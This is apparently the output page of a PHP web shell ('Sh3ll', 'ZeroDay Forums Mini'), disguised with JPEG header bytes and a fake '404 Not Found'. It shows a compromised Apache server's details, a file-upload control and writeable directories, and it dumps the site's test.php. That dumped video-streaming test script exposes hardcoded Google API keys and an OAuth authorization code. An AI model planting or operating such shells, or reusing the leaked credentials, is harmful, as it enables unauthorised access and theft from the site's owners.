ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/st1.123vid.net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/st1.123vid.net/test.php
<?php
require '../123vid/vendor/autoload.php';
function str_encode($data, $pwd)
{
    $x = 0;
    $a = 0;
    $j = 0;
    $Zcrypt = '';
    $pwd_length = strlen($pwd);
    for ($i = 0; $i < 255; $i++) {
        $key[$i] = ord(substr($pwd, ($i % $pwd_length) + 1, 1));
        $counter[$i] = $i;
    }
    for ($i = 0; $i < 255; $i++) {
        $x = ($x + $counter[$i] + $key[$i]) % 256;
        $temp_swap = $counter[$i];
        $counter[$i] = $counter[$x];
        $counter[$x] = $temp_swap;
    }
    for ($i = 0; $i < strlen($data); $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $counter[$a]) % 256;
        $temp = $counter[$a];
        $counter[$a] = $counter[$j];
        $counter[$j] = $temp;
        $k = $counter[(($counter[$a] + $counter[$j]) % 256)];
        $Zcipher = ord(substr($data, $i, 1)) ^ $k;
        $Zcrypt .= chr($Zcipher);
    }
    return $Zcrypt;
}

function curl_func($url)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    $head[] = "Connection: keep-alive";
    $head[] = "Keep-Alive: 300";
    $head[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $head[] = "Accept-Language: en-us,en;q=0.5";
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
x-client-data: CJW2yQEIpbbJAQjBtskBCKmdygEYu7rKARiavsoB');
    curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
    curl_setopt($ch, CURLOPT_REFERER, 'https://m.youtube.com');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
    $page = curl_exec($ch);
    curl_close($ch);
    return $page;
}

function getClient()
{
    $client = new Google_Client();
    $client->setApplicationName('Google Drive API PHP Quickstart');
    $client->setScopes(Google_Service_Drive::DRIVE);
    $client->setAuthConfig('credentials.json');
    $client->setAccessType('offline');
    $client->setPrompt('select_account consent');


    // Load previously authorized token from a file, if it exists.
    // The file token.json stores the user's access and refresh tokens, and is
    // created automatically when the authorization flow completes for the first
    // time.
    $tokenPath = 'token.json';
    if (file_exists($tokenPath)) {
        $accessToken = json_decode(file_get_contents($tokenPath), true);
        $client->setAccessToken($accessToken);
    }

    // If there is no previous token or it's expired.
    if ($client->isAccessTokenExpired()) {
        // Refresh the token if possible, else fetch a new one.
        if ($client->getRefreshToken()) {
            $client->fetchAccessTokenWithRefreshToken($client->getRefreshToken());
        } else {
            // Request authorization from the user.
            $authUrl = $client->createAuthUrl();
            printf("Open the following link in your browser:\n%s\n", $authUrl);
            print 'Enter verification code: ';
            //$authCode = trim(fgets(STDIN));
            $authCode = '4/0AF0ZtYZhsqM0sPB5Iq-VKgXpc4RpVafAj8k96Ul89Vo3o_QMk1N5zM';
            // Exchange authorization code for an access token.
            $accessToken = $client->fetchAccessTokenWithAuthCode($authCode);
            $client->setAccessToken($accessToken);

            // Check to see if there was an error.
            if (array_key_exists('error', $accessToken)) {
                throw new Exception(join(', ', $accessToken));
            }
        }
        // Save the token to a file.
        if (!file_exists(dirname($tokenPath))) {
            mkdir(dirname($tokenPath), 0777, true);
        }
        file_put_contents($tokenPath, json_encode($client->getAccessToken()));
    }
    return $client;
}

set_time_limit(0);
$f = $_GET['f'];
$fileId = str_encode(hex2bin($f), '123vid@net');
$client = getClient();
$service = new Google_Service_Drive($client);
$content2 = $service->files->get('1yBTzea_IDXIEAOBALkuFld6D9iGApr5h', array("fields" => "size,modifiedTime"));
$size = $content2->size;
$buff = 1024*8;
$begin=0;
$end=$size;

if(isset($_SERVER['HTTP_RANGE'])) {
    if(preg_match('/bytes=\h*(\d+)-(\d*)[\D.*]?/i', $_SERVER['HTTP_RANGE'], $matches)) {
        $begin=intval($matches[0]);
        if(!empty($matches[1])) {
            $end=intval($matches[1]);
        }
    }
}
if($begin>0||$end<$size)
    header('HTTP/1.0 206 Partial Content');
else
    header('HTTP/1.0 200 OK');

header("Content-Type: video/mp4");
header('Accept-Ranges: bytes');
header('Content-Length:'.($end-$begin));
header("Content-Disposition: inline;");
header("Content-Range: bytes $begin-$end/$size");
header("Content-Transfer-Encoding: binary\n");
header('Connection: close');

$cur=$begin;
ob_end_flush();
ob_start();
$content = $service->files->get('1yBTzea_IDXIEAOBALkuFld6D9iGApr5h', array('alt' => 'media'));
while (!$content->getBody()->eof()) {
    echo $content->getBody()->read(min($buff,$end-$cur));
    $cur+=$buff;
    usleep(1000);
    flush();
    ob_flush();
}
exit();

echo $size;
exit();

if(isset($_SERVER['HTTP_RANGE'])) {
    if(preg_match('/bytes=\h*(\d+)-(\d*)[\D.*]?/i', $_SERVER['HTTP_RANGE'], $matches)) {
        $begin=intval($matches[0]);
        if(!empty($matches[1])) {
            $end=intval($matches[1]);
        }
    }
}
if($begin>0||$end<$size) {
    header('HTTP/1.0 206 Partial Content');
} else {
    header('HTTP/1.0 200 OK');
}
echo $size;
exit();
$fm = $service->files->get($fileId, array("alt" => "media"));

print_r($fm);
exit();

header("Content-Type: video/mp4");
header('Accept-Ranges: bytes');
header('Content-Length:'.($end-$begin));
header("Content-Disposition: inline;");
header("Content-Range: bytes $begin-$end/$size");
header("Content-Transfer-Encoding: binary\n");
header('Connection: close');
$cur=$begin;

//fseek($fm,$begin,0);
while (!$fm->getBody()->eof() && $cur<$end) {
    echo $fm->read(min(1024*16,$end-$cur));
    $cur+=1024*16;
    usleep(1000);

}
die();

$fm=$content->getBody();
fseek($fm,$begin,0);

while(!feof($fm)&&$cur<$end&&(connection_status()==0))
{ print fread($fm,min(1024*16,$end-$cur));
    $cur+=1024*16;
    usleep(1000);
}
die();

echo $size;
exit();
print_r($content);
exit();
$content = $service->files->get($fileId, array("alt" => "media"));
header("Access-Control-Allow-Origin: https://123vid.top");
header('Accept-Ranges: bytes');
$seconds_to_cache = 8640000;
$ts = gmdate("D, d M Y H:i:s", time() + $seconds_to_cache) . " GMT";
header("Expires: $ts");
header("Pragma: cache");
header("Cache-Control: max-age=$seconds_to_cache");
header("Connection: keep-alive");
header("Content-Type: video/mp4");
ob_end_flush();
ob_start();
while (!$content->getBody()->eof()) {
    echo $content->getBody()->read(1024 * 2);
    flush();
    ob_flush();
}
exit();


header( 'Content-type: text/html; charset=utf-8' );
echo 'Begin ...<br />';
ob_end_flush();
ob_start();
for( $i = 0 ; $i < 10 ; $i++ )
{
    echo $i . '<br />';
    flush();
    ob_flush();
    sleep(1);
}
echo 'End ...<br />';
exit();
?>
<!DOCTYPE html>
<html>
<body>
<iframe src="https://img.123vid.top/youtube_duration.php?id=GKTpUGkhvig" frameBorder="0">Browser not compatible.</iframe>
</body>
</html>
<?php
exit();
$arr_link = array('http://api1.123vid.top/youtube.php','http://api2.123vid.top/youtube.php','http://api3.123vid.top/youtube.php');
$ra_key = count($arr_link)-1;
$rand_key = rand(0,$ra_key);
$link = $arr_link[$rand_key];
echo $link;
exit();
echo get_content_page('https://www.googleapis.com/youtube/v3/search?part=id&q=ij4nzmrDFAk&key=AIzaSyCgNvNbR_xyWpXUW63Yzq_Be-0TtPm5zFM','https://youtube.com');
exit();

$t = 1551085205 + (24*60*60);
echo $t;
//echo date('d/m/Y h:i:s',$t);
exit();
$string_length = 32;
echo 'Begin test with an ' . $string_length . ' character string...<br />' . "\r\n";
// For 3 seconds, repeat the string.
ob_end_flush();
for ($i = 0; $i < 5; $i++) {
    $string = str_repeat('.', $string_length);
    echo $string . '<br />' . "\r\n";
    echo $i . '<br />' . "\r\n";
    flush();
    sleep(1);
}
echo 'End test.<br />' . "\r\n";
exit();
?>
<?php
function get_content_page($url,$referer) {
    $header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
    $header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
    $header[] = "Cache-Control: max-age=0";
    $header[] = "Connection: keep-alive";
    $header[] = "Keep-Alive: 300";
    $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $header[] = "Accept-Language: en-us,en;q=0.5";
    $header[] = "Pragma: "; // browsers keep this blank.
    $process = curl_init($url);
    curl_setopt($process, CURLOPT_HTTPHEADER, $header);
    curl_setopt($process, CURLOPT_HEADER, 0);
    curl_setopt($process, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13');
    //curl_setopt($process, CURLOPT_COOKIEFILE, dirname(__FILE__).'/'.'cookies_youtube.txt');
    //curl_setopt($process, CURLOPT_COOKIEJAR,  dirname(__FILE__).'/'.'cookies_youtube.txt');
    curl_setopt($process, CURLOPT_REFERER, $referer);
    curl_setopt($process, CURLOPT_ENCODING, 'gzip,deflate');
    //curl_setopt($process,CURLOPT_ENCODING , compression);
    curl_setopt($process, CURLOPT_TIMEOUT, 20);
    //if (proxy) curl_setopt($cUrl, CURLOPT_PROXY, 'proxy_ip:proxy_port');
    curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
    //curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
    $return = curl_exec($process);
    curl_close($process);
    return $return;
}
function json_decode_nice($json, $assoc = TRUE){
    $json = str_replace(array("\n","\r"),"\\n",$json);
    $json = preg_replace('/([{,]+)(\s*)([^"]+?)\s*:/','$1"$3":',$json);
    $json = preg_replace('/(,)\s*}$/','}',$json);
    return json_decode($json,$assoc);
}
$url=$_GET['url'];
$content = get_content_page('http://portal.uka.edu.vn/logs/curl22/run.php?url=' . $url,'');
preg_match_all('#iframe src\=(.*?)scrolling#is',$content,$match);
preg_match_all('#sources\: \[(.*?)\]#is',$content,$match1);
$match1[1] = array_unique($match1[1]);
$match[1] = array_unique($match[1]);
$txt_json = '';
foreach ($match1[1] as $key => $val) {
    if( strpos($val, 'fbcdn.net') !== false) {
        $txt_json = '[' . $val . ']';
    }
}
if($txt_json==''){
    foreach ($match1[1] as $key => $val) {
        if( strpos($val, 'anime47.com') === false and $key==0) {
            $txt_json = '[' . $val . ']';
        }
    }
}
$txt_json = str_replace(array('\"', '\/'), array('"', '/'), $txt_json);
$list_source = json_decode_nice($txt_json, true);

print_r($list_source);
exit();

function validate_ip($ip) {
    if (strtolower($ip) === 'unknown')
        return false;

    // generate ipv4 network address
    $ip = ip2long($ip);

    // if the ip is set and not equivalent to 255.255.255.255
    if ($ip !== false && $ip !== -1) {
        // make sure to get unsigned long representation of ip
        // due to discrepancies between 32 and 64 bit OSes and
        // signed numbers (ints default to signed in PHP)
        $ip = sprintf('%u', $ip);
        // do private network range checking
        if ($ip >= 0 && $ip <= 50331647) return false;
        if ($ip >= 167772160 && $ip <= 184549375) return false;
        if ($ip >= 2130706432 && $ip <= 2147483647) return false;
        if ($ip >= 2851995648 && $ip <= 2852061183) return false;
        if ($ip >= 2886729728 && $ip <= 2887778303) return false;
        if ($ip >= 3221225984 && $ip <= 3221226239) return false;
        if ($ip >= 3232235520 && $ip <= 3232301055) return false;
        if ($ip >= 4294967040) return false;
    }
    return true;
}
function get_ip_address() {
    // check for shared internet/ISP IP
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        return $_SERVER['HTTP_CLIENT_IP'];
    }
    // check for IPs passing through proxies
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (!empty($_SERVER['HTTP_X_FORWARDED'])) {
        return $_SERVER['HTTP_X_FORWARDED'];
    }
    if (!empty($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
        return $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
    }
    if (!empty($_SERVER['HTTP_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_FORWARDED_FOR'];
    }
    if (!empty($_SERVER['HTTP_FORWARDED'])) {
        return $_SERVER['HTTP_FORWARDED'];
    }
    // return unreliable ip since all else failed
    return $_SERVER['REMOTE_ADDR'];
}
$ip = get_ip_address();
$lang = geoip_country_code_by_name($ip);
echo $ip.'<br>';
echo $lang;
exit();
if($_SERVER['HTTP_HOST'] != 'www.123vid.net'){
    //header('Location: https://www.123vid.net'.$_SERVER['REQUEST_URI']);
    exit();
}
if($_SERVER['REMOTE_ADDR']=='104.18.51.17'){
    header('Location: https://www.123vid.net'.$_SERVER['REQUEST_URI']);
    exit();
}
/*echo $_SERVER['REMOTE_ADDR'].'<br>';
echo $_SERVER['HTTP_HOST'];*/

if($_SERVER['HTTP_HOST'] != 'www.123vid.net'){
    //header('Location: https://www.123vid.net'.$_SERVER['REQUEST_URI']);
    exit();
}
/*exit();
$arr = get_headers('https://www.googleapis.com/drive/v2/files/0B0o55rudVLzQbTBYQzN0b2J0MzA?&key=AIzaSyAqMa5IiJbOL_KaYMaEeAsJv6oro8RIPmc&alt=media&videoplay.mp4',1);

print_r($arr);
exit();
exit();
phpinfo();*/

?>
<html>
<head>
<script>
    if(!location.hostname.match('123vid.net')){
        var path = location.pathname.substring(1);
        location.href='https://123vid.net/'+location.pathname.substring(1);
    }
</script>
</head>

</html>

ZeroDay Forums Mini